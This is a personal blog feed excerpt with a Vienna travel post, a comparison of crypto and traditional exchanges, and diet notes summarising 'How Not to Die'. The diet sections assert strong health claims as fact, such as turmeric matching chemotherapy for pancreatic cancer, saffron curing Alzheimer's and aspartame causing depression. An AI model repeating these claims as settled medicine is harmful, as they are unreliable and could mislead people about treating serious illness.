<a href="https://www.tripadvisor.com/Attraction_Review-g190454-d2281960-Reviews-Museum_of_Contraception_and_Abortion-Vienna.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Museum of Abortion and Contraception</a>. It is small, it takes about an hour to see the full museum,
and it has an excellent audio tour in multiple languages.
Most writings on the wall, unfortunately, are only in German.
The museum covers the legal, technological, and social battle fought for birth control rights.</p>
<h3 id="day-2">Day 2</h3>
<p>Head to the   
    
    
<a href="https://www.kugelmugel.at/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Republic of Kugel Mugel</a>, a micronation inside Vienna.
There isn&rsquo;t much except a ball, so don&rsquo;t raise hopes.</p>
<figure>
    
    <a href="kugel_mugel_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="kugel_mugel_resized-1024x512.jpg"
         alt="A spherical structure in Vienna, associated with the micronation Kugelmugel, surrounded by green grass, highlighting its unique design and cultural significance." width="900"/> </a>
</figure>

<p>Then head to weird houses designed by Hundertwasser.</p>
<figure>
    
    <a href="IMG_20190330_143623_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190330_143623_resized-1024x512.jpg"
         alt="Colorful houses designed by Hundertwasser, featuring vibrant facades and irregular shapes, symbolizing unique architectural creativity" width="900"/> </a>
</figure>

<p>And next door is the   
    
    
<a href="https://www.faelschermuseum.com/Seite1_englisch.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Museum of Art Fakes</a>, which covers the art forgery in great detail.
The museum is small but has an unusually high-quality collection of both samples and anecdotes to learn from.</p>
<figure>
    
    <a href="IMG_20190330_154521_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190330_154521_resized-512x1024.jpg"
         alt="A clear glass teapot filled with brewed tea sits on a wooden table against a blurred background, positioned to catch the light, highlighting its glossy surface and rich color." width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/austria" term="austria" label="austria"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/></entry><entry><title type="html">Cryptocurrency trading</title><link href="https://ashishb.net/tech/cryptocurrency-trading/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/programmable-money-and-value-capture/?utm_source=atom_feed" rel="related" type="text/html" title="Programmable Money and value capture"/><link href="https://ashishb.net/tech/play-to-earn-games/?utm_source=atom_feed" rel="related" type="text/html" title="Play-to-earn games"/><link href="https://ashishb.net/tech/the-key-problem-in-cryptocurrency/?utm_source=atom_feed" rel="related" type="text/html" title='The "key" problem in cryptocurrency'/><link href="https://ashishb.net/security/nillion/?utm_source=atom_feed" rel="related" type="text/html" title="Nillion"/><link href="https://ashishb.net/tech/angel-investing-for-software-engineers/?utm_source=atom_feed" rel="related" type="text/html" title="Angel investing for Software Engineers"/><id>https://ashishb.net/tech/cryptocurrency-trading/</id><author><name>Ashish Bhatia</name></author><published>2019-06-01T16:57:13+00:00</published><updated>2019-06-01T16:57:13+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the distinctions between stock, commodity, and forex exchanges and how crypto exchanges compare. Learn why liquidity and regulations are crucial.</blockquote><h3 id="background">Background</h3>
<p>There are three major types of financial exchanges</p>
<ol>
<li>Stocks and bonds</li>
<li>Commodity exchange</li>
<li>Foreign exchange (Forex)</li>
</ol>
<p>Stock exchanges, where stocks and bonds are traded, are highly regulated and don&rsquo;t transcend national boundaries. The listed companies have to follow disclosure protocols decided by the government and the exchange. The stocks that are traded on these exchanges are mostly unique to the exchanges. For example, Google is only listed on the American exchange of NASDAQ. So, to buy Google stock, you need to conform to American laws. Also, you can only sell these shares back on NASDAQ and that too only within certain hours of the day. Therefore, these exchanges have some monopoly power.</p>
<p>However, commodities can be easily resold and delivered on other domestic exchanges and with some effort across national boundaries as well. Therefore, unlike stock exchanges, commodity exchanges do not have a monopoly over what&rsquo;s being traded on them. The only advantage they can offer to the traders is a marketplace where they can find counterparties to take a position against their trade. Traders don&rsquo;t have to arbitrate, that is, buy from one market at a lower price and then sell to another at a higher. Just the fact they can do it ensures that prices differences are minimized. Crude oil is the most actively traded commodity in the world and unlike Google stock, a trader can trade in crude oil, practically, in any commodity exchange in the world. Some other commodities could be traded in exchanges specific to a country.</p>
<p>Foreign Exchange (forex) markets are different. In theory, one can be run a US Dollar - Euro foreign exchange in Nigeria. Therefore, these transcend national boundaries. Most forex markets, however, are regulated. Forex markets are practically 24-hours a day, 7-days a week. Since major currency pairs like USD-EURO can be traded in any major forex exchange on the world, these markets practically never close. This distinction is subtle but important. For example, consider Apple Inc. which is listed on NASDAQ in the USA. If some bad news related to say Apple is published in media on Friday evening after NASDAQ is closed for trading then the traders cannot trade their Apple stocks till the Monday morning. But if Britain&rsquo;s exit from EU (Brexit) is canceled on a Friday evening then the forex market will react immediately to the news.</p>
<p>Another subtle distinction is that big stock exchanges can enforce their rules and if a trader behaves badly then they can ban him/her for life. Getting banned from a major exchange is career suicide. A trader who, say specializes in tech stocks or healthcare stocks of a country cannot simply move to another country and learn the rules there. Commodity and forex markets are different. One can simply register in a different jurisdiction and start trading. Thanks to the Internet, being registered in Malta does not require one to live in Malta.</p>
<table>
  <thead>
      <tr>
          <th>Exchange Type</th>
          <th>Monopoly</th>
          <th>Restricted to a country</th>
          <th>24-hours a day</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Stock exchange</td>
          <td>Yes</td>
          <td>Yes</td>
          <td>No</td>
      </tr>
      <tr>
          <td>Commodity exchange</td>
          <td>No</td>
          <td>Partially</td>
          <td>Yes</td>
      </tr>
      <tr>
          <td>Foreign exchange</td>
          <td>No</td>
          <td>No</td>
          <td>Yes</td>
      </tr>
  </tbody>
</table>
<h3 id="crypto-exchanges">Crypto Exchanges</h3>
<p>What&rsquo;s traded on crypto exchanges is not unique to those exchanges. Just like USD can be purchased on pretty much every exchange, one can buy Bitcoin from any exchange, 24-hours a day. But while Forex markets are trading on the optimism or pessimism around a nation&rsquo;s economy, commodity markets are pure speculation around demand and supply of a commodity. Therefore, cryptocurrency exchanges are akin to commodity exchanges. And since the goods are virtual, they easily transcend national boundaries. Therefore, inter-exchange trading implies price arbitrage will be rare in the longer run. So, what decides one exchange will win over another? Given that an exchange does not have the monopoly over what&rsquo;s being traded, the only major barriers I can think of are either regulatory or higher liquidity.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/cryptocurrencies" term="cryptocurrencies" label="cryptocurrencies"/></entry><entry><title type="html">Diet action plan from "How not to die" book</title><link href="https://ashishb.net/misc/good-diet-action-list/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/how-not-to-die/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: How not to die by Dr. Michael Greger"/><link href="https://ashishb.net/misc/sometimes-the-middle-ground-is-most-empowering/?utm_source=atom_feed" rel="related" type="text/html" title="Sometimes the middle ground is most empowering"/><link href="https://ashishb.net/misc/binary-vs-graded-outcomes/?utm_source=atom_feed" rel="related" type="text/html" title="Binary vs Graded outcomes"/><link href="https://ashishb.net/book-summary/the-science-of-happily-ever-after/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The science of happily ever after by T Y Tashiro"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><id>https://ashishb.net/misc/good-diet-action-list/</id><author><name>Ashish Bhatia</name></author><published>2019-05-14T06:15:28+00:00</published><updated>2019-05-14T06:15:28+00:00</updated><content type="html"><![CDATA[<blockquote>Achieve optimal health with our practical checklist: focus on nutrient-rich foods, avoid harmful ingredients, and embrace exercise for a vibrant lifestyle.</blockquote><h2 id="checklist-for-good-health"><strong>Checklist for Good Health</strong></h2>
<ul>
<li>3 servings of Beans</li>
<li>1 serving   of Berries</li>
<li>3 servings of other fruits</li>
<li>1 serving  of Cruciferous vegetables</li>
<li>2 servings of Greens</li>
<li>2 servings of Other Vegetables</li>
<li>1 serving  of Flaxseed</li>
<li>1 serving  of Nuts</li>
<li>1 serving  of Spices</li>
<li>3 servings of Whole Grains</li>
<li>5 servings of Beverages</li>
<li>1 tablet of Vitamin B12 supplement</li>
<li><em>1 workout session</em></li>
</ul>
<h2 id="food-buying"><strong>Food buying</strong></h2>
<ol>
<li>No amount of <strong>trans fat</strong> is safe. It is unavoidable in a non-vegan diet.</li>
<li>Ignore the marketing label while buying whole grains. <strong>Look at the label if carbohydrates to fiber ratio are less than 5, its whole grain; otherwise it is not.</strong></li>
<li>When buying processed food, buy food whose serving size in grams &gt; amount of salt in milligrams per serving size. F <strong>or example, if the serving size is 100 gms, buy it only if salt is less than 100 mg per serving size.</strong></li>
<li><strong>Sulfite preservatives</strong> cause ulcerative colitis. Avoid them.</li>
<li><strong>Don&rsquo;t buy food containing pyrophosphate or sodium triphosphate.</strong> Coca-cola and chicken contain Phosphate to enhance color. High Phosphorus consumption causes kidney and heart failure.</li>
<li><strong>Organic produce</strong> does not have more vitamins or minerals than inorganic. But organic food has more antioxidants and lower levels of toxic heavy metal and pesticides. Prefer organic if you can.</li>
<li><strong>Colorful plant foods are higher in antioxidants</strong>. Red onion has 76% more antioxidants than White. Red cabbage may have 8 times more antioxidants than green. Kumquat, therefore, is the best citrus fruit since unlike orange, one can eat its colorful peel. Blue corn is better than yellow corn which has more antioxidants than white corn. Red quinoa is better than white quinoa.</li>
<li>Sodium-free <strong>canned beans</strong> are as good as boiled beans.</li>
</ol>
<h2 id="food-cooking"><strong>Food cooking</strong></h2>
<ol>
<li><strong>Washing</strong> vegetables remove 50% of pesticides. Washing in 5% vinegar (expensive) or 10% saltwater (cheaper) is much more effective. Rinse again after saltwater though.</li>
<li>Cooked vegetables can sometimes be more nutritious than raw ones due to better absorption of nutrients. Boiling and pressure cooking is the worst methods, but even there average loss is about 14% of antioxidants. Bell peppers lose 70% of antioxidants on boiling. Artichokes, beets, and onions lose only about 2.5%. Prefer carrots and celery cooked than raw. Tomato juice has five-fold antioxidants compared to Tomato. Cocoa powder is better than Cocoa beans since Cocoa butter is saturated fat.</li>
<li><strong>Don&rsquo;t Fry</strong>: Frying animal or plant oils leads to the release of toxic chemicals.</li>
<li>Just two spoons of <strong>Vinegar</strong> helps with blood sugar control. It helps with losing abdominal fat as well.</li>
<li><strong>Mushrooms</strong> should not be eaten raw. They contain a toxin Agaritine. Even 30 seconds of microwave destroys it. Cooking does not destroy antioxidant Ergothioneine. Avoid Morel Mushrooms; they are high on Agaritine.</li>
<li>While cooking <strong>cruciferous vegetables</strong>, wait about 40 minutes between chopping and cooking. Otherwise, Sulforaphane producing enzyme myrosinase would not get a chance to act. Don&rsquo;t buy these vegetables frozen either since they are flash-cooked before freezing. Or put mustard, which contains myrosinase on frozen broccoli after cooking.</li>
</ol>
<h2 id="bad-food---what-to-avoid"><strong>Bad food - what to avoid</strong></h2>
<ol>
<li><strong>Hypersalty and hyper sweet processed food</strong> dampen taste buds, and after eating that, regular food tastes like cardboard and is not enjoyable anymore.</li>
<li><strong>High fructose corn syrup</strong> is pro-oxidant. Avoid it.</li>
<li><strong>Excessive salt</strong> intake not only causes high blood pressure but also increases the risk of stomach cancer.</li>
<li><strong>Pickled vegetables</strong>, due to salt, increase the risk of Stomach cancer. South Korea has the highest rate of stomach cancer because of Kimchi.</li>
<li><strong>Aspartame</strong>, the artificial sweetener causes depression.</li>
<li><strong>Stevia</strong> can be transformed into steviol by gut bacteria which can cause DNA damage.</li>
<li><strong>Olives</strong> are devoid of nutrition. Avoid them.</li>
</ol>
<h2 id="good-food---what-to-eat"><strong>Good food - what to eat</strong></h2>
<ol>
<li><strong>Garlic</strong>, Turmeric, <strong>Goji</strong> berries, and <strong>Mint</strong> leaves have shown to prevent and fix chromosomal damage.</li>
<li><strong>Tempeh</strong> being unprocessed is a better food item than Soy and Soy milk.</li>
<li><strong>Berries, grapes, red onions, and plums</strong> are good sources of anthocyanins. Anthocyanins, which gives plants their purple, red, and blue color, seems to work against fatty cell deposition in the liver.</li>
<li><strong>Apple peel</strong>, <strong>purple grapes</strong>, and <strong>soybeans</strong> prevent breast cancer.</li>
</ol>
<h2 id="nuts"><strong>Nuts</strong></h2>
<ol>
<li><strong>Nuts</strong>, <strong>seeds</strong>, and <strong>dry fruits</strong> are good sources of iron. Consuming Vitamin-C increases iron absorption. Nuts, in general, are good at reducing the risk of both cancer and stroke.</li>
<li><strong>Walnuts</strong> are the healthiest nuts due to the highest antioxidant and Omega-3 levels.</li>
<li><strong>Peanuts</strong> are good against breast cancer.</li>
<li><strong>Pistachios</strong> are good at reducing erectile dysfunction in man.</li>
<li>A daily spoon of <strong>Flaxseeds</strong> shortens the menstrual cycle by a day reducing estrogen exposure and the breast cancer risk. Don&rsquo;t eat ungrounded flaxseed or they may pass through the body without digestion. Flaxseeds also lower blood pressure.</li>
</ol>
<h2 id="fruits"><strong>Fruits</strong></h2>
<ol>
<li><strong>Blending fruits is preferable to juicing</strong>.</li>
<li>Antioxidant power - Banana(40), Apple(60), Mango(110), Strawberry (310), Blackberry(650). In the US, <strong>Blackberries</strong> provide more antioxidants for the buck than Strawberry. Frozen berries are as good as fresh ones.</li>
<li><strong>Tart cherries</strong> can be used to treat gout, a form of arthritis. They reduce inflammation in healthy people too.</li>
<li><strong>Goji berries</strong> are high on Melatonin, antioxidants, and Zeaxanthin. Buy them in Asian supermarkets as &ldquo;Lycium berries&rdquo; where they are cheaper than raisins.</li>
<li><strong>Black Currants</strong> alleviate eye strains caused by the computer.</li>
<li><strong>Crab apples</strong> are the most nutritious apples.</li>
<li><strong>Watermelon</strong> contains Citrulline which cures Erectile Dysfunction. Two cups of <strong>watermelon</strong> before a workout reduces muscle soreness.</li>
<li><strong>Kiwifruit</strong> is good for Insomnia, Irritable Bowel Syndrome (IBS), and improved immunity.</li>
<li><strong>Citrus fruits</strong> (and not juices) boost DNA repair. Citrus fruits like Orange contain Hesperidin which reduces the blood pressure and increases the blood flow. Hesperidin not only helps reduce the stroke risk but can also help you feel warmer in cold weather.</li>
<li>NO (Nitric Oxide) signals arteries to open up. <strong>Antioxidant-rich food</strong> like berries and dark chocolate boost Nitrate production. Beets and greens especially, Cilantro and Arugula are the best sources of nitrate.</li>
<li><strong>Cranberries</strong>, <strong>blueberries</strong>, <strong>strawberries</strong>, and <strong>Concord grape juice</strong> contains polyphenols which reduce cognitive decline.</li>
</ol>
<h2 id="vegetables"><strong>Vegetables</strong></h2>
<ol>
<li><strong>Cruciferous vegetables</strong> have Sulforaphane which is anti-cancerous, good for the brain and the eyes control nasal inflammation and manage type 2 diabetes. Broccoli is one of the great sources of it. <strong>Kale</strong> reduces bad cholesterol (LDL) levels and enhances good cholesterol (HDL) levels.</li>
<li><strong>Green vegetables</strong> contain Chlorophyll, which, when exposed to light penetrating through the human body, produces antioxidant CoQ10.</li>
<li><strong>Fiber</strong> and <strong>beans</strong> are prebiotics, that is, what probiotics (good bacteria) eat. Eating prebiotics improves gut flora which in turn improves immunity.</li>
<li><strong>Greens</strong>, <strong>beans</strong>, and <strong>sweet potatoes</strong> are good sources of Potassium which cuts down the stroke risk.</li>
<li><strong>Tomatoes</strong>, <strong>Bell Peppers</strong> and other nightshade vegetables contain trace amounts of Nicotine which fights Parkinson&rsquo;s disease.</li>
<li><strong>Green Vegetable</strong> intake has been associated with reduced facial wrinkles.</li>
<li><strong>Mushrooms</strong> boost immunity. It also has an anti-inflammatory effect on allergies.</li>
<li>Eat s <strong>weet potatoes</strong> without peeling. The peel&rsquo;s antioxidant capability is ten times the inner flesh and is similar to blueberries. If you are going to prefer plain potatoes over the sweet ones, then choose purple colored ones. They are effective against hypertension.</li>
</ol>
<h2 id="herbs-and-spices"><strong>Herbs and spices</strong></h2>
<ol>
<li><strong>Turmeric</strong>, the Indian spice <em>Haldi</em>, is anti-cancerous, reduction in DNA mutations in smokers, and is as effective as treating pancreatic cancer as Chemotherapy.</li>
<li><strong>Black pepper</strong> can boost the absorption of another spice like Turmeric.</li>
<li><strong>Cilantro</strong> is useful for people who have arthritis.</li>
<li><strong>Fenugreek</strong> leads to muscle performance-boosting, for example, for men doing weight training.</li>
<li><strong>Red hot peppers</strong> and chilies are great for people suffering from chronic pains.</li>
<li><strong>Ginger</strong> cure headaches, reduce menstrual cramps, and minimizing the bleeding during menstruation.</li>
<li><strong>Peppermint</strong> is the most commonly available herb with most antioxidants.</li>
<li><strong>Clove</strong> is the most commonly available spice with most antioxidants.</li>
<li><strong>Amla</strong> is packed with even more antioxidants but is available only in Indian stores. It is the most crucial ingredient of Ayurveda. A single teaspoon of it contains 753 antioxidant units, for comparison, an egg has 8 and half-a-cup of blueberries have 323. Buy the powdered ones in an Indian spice store</li>
<li><strong>Oregano</strong> prevents DNA damage due to radiation exposure. It has anti-inflammatory properties as well.</li>
<li><strong>Cumin</strong>, the India spice <em>jeera</em> is blood thinner and reduces the risk of a heart attack.</li>
<li><strong>Cardamom</strong> is antibody booster.</li>
<li><strong>Saffron</strong> is the best cure against Alzheimer&rsquo;s.</li>
<li><strong>Marjoram</strong> improves hormonal balance in women.</li>
<li><strong>Salt-free spice mixes</strong> like Indian Garam Masala, Chinese five-spice powder, Middle Eastern Za&rsquo;atar, Ethiopian Berbere, and Italian seasonings are a good combination of spices.</li>
<li>Cassia (Chinese) Cinnamon can lower blood sugar levels but contains toxic coumarin. More expensive Ceylon Cinnamon is not poisonous but does not seem to have the blood sugar-lowering the effect of Cassia. Any unlabeled Cinnamon in the US is the cheaper Cassia, avoid it.</li>
</ol>
<h2 id="beverages"><strong>Beverages</strong></h2>
<ol>
<li><strong>Soda is the worst beverage</strong>. Beer and milk are one notch above. Milk-free unsweetened tea is the second best beverage after water.</li>
<li><strong>Green tea leaves</strong> are incredibly potent.</li>
<li><strong>Coffee,</strong> without sweeteners, is antidepressant.</li>
<li><strong>Hibiscus tea</strong> is the drink with the highest antioxidants. <strong>Hibiscus tea</strong> is good for lowering blood pressure.</li>
<li>Drink <strong>almond milk</strong> and not cow&rsquo;s milk. <strong>Almond butter</strong> is a healthy source of fat.</li>
</ol>
<h2 id="good-supplements"><strong>Good supplements</strong></h2>
<ol>
<li><strong>Vitamin B12</strong> - Vegetarians must take 2.5 mg cyanocobalamin a day. Methylcobalamin is unproven.</li>
<li><strong>Vitamin D</strong> - people living in colder climates should take this supplement.</li>
<li><strong>Iodine</strong> - eat rich food like Nori seaweed (2 sheets a day) or take a supplement.</li>
<li><strong>Long-chain Omega-3 acids</strong> - Take 250 mg from algae every day. Do not rely on seafood as a source of Omega-3 since seafood is contaminated with heavy metals.</li>
</ol>
<h2 id="exercise"><strong>Exercise</strong></h2>
<ol>
<li>Regular exercise improves the immune system and drastically reduces ailments like the common cold. Sustained exercise like marathon though hurts the immune system. For the athletes, Chlorella, green color algae, and <strong>nutritional yeast</strong> are recommended to boost the immune system.</li>
<li>Half a cup of <strong>beet juice</strong> (or 3 3-inch beets) 2-3 hours before workout maximizes athletic endurance.</li>
<li>Eating <strong>blueberries</strong> is good for reducing exercise-induced inflammation.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/diet" term="diet" label="diet"/><category scheme="https://ashishb.net/tag/nutrition" term="nutrition" label="nutrition"/><category scheme="https://ashishb.net/tag/life" term="life" label="life"/></entry><entry><title type="html">Book Summary: How not to die by Dr. Michael Greger</title><link href="https://ashishb.net/book-summary/how-not-to-die/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/good-diet-action-list/?utm_source=atom_feed" rel="related" type="text/html" title='Diet action plan from "How not to die" book'/><link href="https://ashishb.net/book-summary/why-nations-fail/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Why Nations Fail"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><link href="https://ashishb.net/book-summaries/natural-baby-sleep-solution/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Natural Baby Sleep Solution by Polly Moore"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><id>https://ashishb.net/book-summary/how-not-to-die/</id><author><name>Ashish Bhatia</name></author><published>2019-05-10T04:44:05+00:00</published><updated>2019-05-10T04:44:05+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how dietary choices impact health in &ldquo;How Not to Die.&rdquo; Unveil actionable insights to combat lifestyle diseases with plant-based nutrition. Click to learn more!</blockquote><p>The   
    
    
<a href="https://amzn.to/2VUM6V0?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is a detailed introduction to how what we eat can kill or save us and how the modern diet makes people sick. This book&rsquo;s companion website is   
    
    
<a href="https://NutritionFacts.org?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">NutritionFacts.org</a>.</p>
<p>This book and its summary are pretty long, I extracted the useful advice in a shorter 
<a href="/misc/good-diet-action-list/">article</a>.</p>
<h2 id="salient-points">Salient Points</h2>
<ol>
<li>Major killers in the 1900s USA were Pneumonia, TB,  and Diarrhea which are pathogen-based while major killers in the 2000s are heart diseases, cancer, and lung diseases which are <strong>lifestyle diseases</strong>. The developing world, which has shifted to a Western diet, sees the same fate.</li>
<li><strong>Aging</strong> is tied to Telomeres, a tiny cap at the end of chromosomes, which prevents DNA from unraveling. Some amount of it is lost in every cell division. So, the shortening of Telomere indicates aging. Smoking triples that rate. Meat, soda, dairy, fish, and refined foods are associated with shorter Telomeres. Plant diets with rich antioxidants are associated with longer Telomeres. Plant-based nutrition is the only intervention that helps in growing Telomerase, an enzyme that helps in regrowing Telomeres.</li>
<li>Vegetarians transitioning to meat once a week experienced a 146% increase in odds of heart attack, 152% increase in odds of stroke, 166% increase in odds of Diabetes, and 231% increase in odds of weight gain. Despite a low increase in per-capita meat consumption, India faces a high lifestyle disease rate due to an increase in refined foods like white rice. So, don&rsquo;t just go for a vegetarian diet. French fries + Coke is vegetarian but not healthy. Go for an evidence-based diet. The current evidence suggests a <strong>whole plant-based diet</strong> is healthy. Calories in junk food are cheaper but when you take nutrition beyond calories into account then junk food loses out to whole plant-based diets. Moreover,  farms with animals are associated with a higher rate of cancer. Plant-only farms are not. Poultry farms are the worst. Pet companionship is associated with a lower cancer rate though.</li>
<li>A <strong>healthy lifestyle</strong> is key. Not smoking, not being obese, 30 minutes of daily exercise, and a plant-based diet are sufficient to wipe out an 80% chance of chronic diseases. Non-genetic factors account for 80-90% of the major diseases today. For example, colon cancer rates were 1/5th in Japan compared to the USA in 1950. Now, due to increased meat consumption, they are almost the same. Diet is a gradual process and not all or nothing. If you eat Pepperoni Pizza once a week, going down to once a month is better than not giving it up at all.</li>
<li>Thanks to dairy and meat lobbies, you will hear the &ldquo;eat more veggies&rdquo; message but not the &ldquo;eat less meat&rdquo; message. The latter message will be made more cryptic by saying &ldquo;Avoid saturated and trans fat&rdquo;. But in reality, no amount of <strong>trans fat</strong> is safe as it always leads to a risk of Coronary Heart Disease (CHD). However, trans fat is unavoidable in a non-vegan diet. Order of nutrition quality: Unprocessed plant food &gt; Processed plant food = Unprocessed animal food &gt; Ultra-processed plant food = Processed animal food.</li>
<li>Patients regularly overestimate the benefits of <strong>drugs</strong>. Doctors are hesitant, to tell the truth since no patient would take a drug that has only a 5% chance of success. Big pharma spends a lot on advertisements. They advertise drugs, not diet changes. Drugs make money for them, but diet changes do not.</li>
<li><strong>Washing</strong> vegetables removes 50% of pesticides. Washing in 5% vinegar (expensive) or 10% salt water (cheaper) is much more effective. Rinse again after saltwater though.</li>
<li>After consuming <strong>acidic food</strong>, rinse the mouth with water to avoid enamel decay. However, don&rsquo;t brush since that will damage the already softened enamel.</li>
</ol>
<h2 id="daily-dozen-checklist-of-good-health">Daily Dozen Checklist of Good Health</h2>
<ol>
<li>3 servings of Beans</li>
<li>1 serving   of Berries</li>
<li>3 servings of other fruits</li>
<li>1 serving  of Cruciferous vegetables</li>
<li>2 servings of Greens</li>
<li>2 servings of Other Vegetables</li>
<li>1 serving  of Flaxseed</li>
<li>1 serving  of Nuts</li>
<li>1 serving  of Spices</li>
<li>3 servings of Whole Grains</li>
<li>5 servings of Beverages</li>
<li><em>1 workout session</em></li>
</ol>
<h2 id="good-food---what-to-eat">Good food - what to eat</h2>
<ol>
<li><strong>Colorful plant foods are higher in antioxidants</strong>. Red onion has 76% more antioxidants than White. Red cabbage may have 8 times more antioxidants than green. Kumquat, therefore, is the best citrus fruit since unlike oranges, one can eat its colorful peel. Blue corn is better than yellow corn which has more antioxidants than white corn. Red quinoa is better than white quinoa.</li>
<li><strong>Broccoli</strong> sprouts, beans, greens, berries, and green tea are good at reactivating tumor-suppressing genes silenced by the cancer cells.</li>
<li><strong>Turmeric</strong>, the Indian spice <em>Haldi</em>, has shown great anti-cancer ability in petri-dish, reduction in DNA mutations in smokers, and is as effective as treating pancreatic cancer as Chemotherapy. Consume one teaspoon a week.</li>
<li><strong>Garlic</strong>, Turmeric, <strong>Goji</strong> berries, and <strong>Mint</strong> leaves have been shown to prevent and fix chromosomal damage. People like X-ray technicians and airline pilots are at an increased risk of cancer due to X-ray and cosmic rays, respectively.</li>
<li>Half a cup of <strong>beet juice</strong> (or 3 3-inch beets) 2-3 hours before a competition maximizes athletic endurance.</li>
<li><strong>Coffee</strong> is an antidepressant as long as no sweeteners are added.</li>
<li>Cooked vegetables can sometimes be more nutritious than raw ones due to better absorption of nutrients. Boiling and pressure-cooking are the worst methods but even their average loss is about 14% of antioxidants. Bell peppers lose 70% of antioxidants on boiling. Artichokes, beets, and onions lose only about 2.5%. Carrots and celery are better eaten cooked than raw.</li>
<li>Tomato juice has five-fold antioxidants compared to Tomato. Cocoa powder is better than Cocoa beans since Cocoa butter is saturated fat. Processing food does not normally lead to enhancement, so, these are more of an exception than the norm.</li>
<li><strong>Tempeh</strong> being unprocessed is a better food item than Soy and Soy milk.</li>
<li><strong>Almond butter</strong> is a healthy source of fat.</li>
<li><strong>Organic produce</strong> does not have more vitamins or minerals than inorganic. However organic produce has more antioxidants and lower levels of toxic heavy metals and pesticides. Prefer organic if you can.</li>
<li>Date sugar and blackstrap molasses are two good <strong>natural sweeteners</strong>. In the US,   
    
    
<a href="https://datepeople.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Date People Farm</a> is one of the best ones to buy dates from. Erythritol, a low-calorie sweetener, is a powerful one. It is naturally found in pears and grapes.</li>
<li>Sodium-free canned beans are as good as boiled beans.</li>
</ol>
<h3 id="why-are-antioxidants-important">Why are antioxidants important</h3>
<p>About 1-2% of free electrons escape the cell&rsquo;s mitochondria and combine with Oxygen to form free radicals. These free radicals cause strokes as well as aging. Consuming antioxidants reduces the damage by free radicals. Antioxidants, therefore, are anti-cancerous as well as anti-aging.   
    
    
<a href="https://nutritionj.biomedcentral.com/articles/10.1186/1475-2891-9-3?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">This paper</a> [pdf] lists food ranked by antioxidants. Plants are way ahead of animal products. Berries, herbs, and spices are the best. Almost any eating produces free radicals. That&rsquo;s OK as long as the food contains some antioxidants. So, orange is fine but Coca-Cola increases free radicals in the body. Therefore, a meal should always contain some antioxidant-rich component.</p>
<h3 id="is-sugar-in-fruits-safe">Is Sugar in fruits safe</h3>
<p>When sugar in the form of sugar cubes or Coke is consumed then in the first hour there is a big spike in the sugar levels. The body releases tons of insulin and then by the second hour, blood sugar falls so low then the body thinks it is in a famine situation and dumps fat into the blood. This fat is what causes problems. Sugar consumed as a part of fruits, due to fibers, is released slowly and no overshoot effect has been observed. In an experiment even when 20 servings of fruits (~8 cans of soda) a day were eaten for a month, no adverse effects were observed.</p>
<h2 id="bad-food---what-to-avoid">Bad food - what to avoid</h2>
<ol>
<li><strong>Tuna</strong> is the top source of Arsenic in the body.</li>
<li><strong>Dairy</strong> is the top source of Lead in the body.  Poor digestion of lactose, the milk sugar, also causes flatulence. Beans are also responsible but to a lesser extent. The smell, however, comes from sulfide, whose biggest sources are Eggs and meat.</li>
<li><strong>Seafood</strong> is the top source of Mercury in the body.</li>
<li>When the animal or plant oils are <strong>fried</strong> then toxic chemicals are released. Meat grilling also releases PAH (Polycyclic Aromatic Hydrocarbons). Both increase the risk of cancer. So, have good ventilation in the house kitchen and don&rsquo;t live next to a Chinese restaurant or a Barbecue joint. Frying Soy-based tempeh patties are much less harmful than frying beef or bacon (bacon is worst) but consuming it still leads to DNA mutations.</li>
<li>Cooking meat at a low temperature does not kill pathogens. Cooking meat at a high temperature produces Heterocyclic Amines (HCA) which are carcinogenic. Even plant food is not immune, french fries contain carcinogenic acrylamides.</li>
<li><strong>Animal fat</strong> is the prime source of Dioxins. A plant-based diet eliminates 98% of dioxins from the diet. Animal food is also rich in flame-retardant chemicals which though not proven to be toxins can be risky to consume.</li>
<li><strong>Hypersalty and hyper-sweet processed food</strong> dampen taste buds and after eating that, normal food tastes like cardboard and is not enjoyable anymore. One can blunt or recover taste buds from such foods in a matter of weeks.</li>
<li><strong>High fructose corn syrup</strong> is pro-oxidant and therefore, should be avoided.</li>
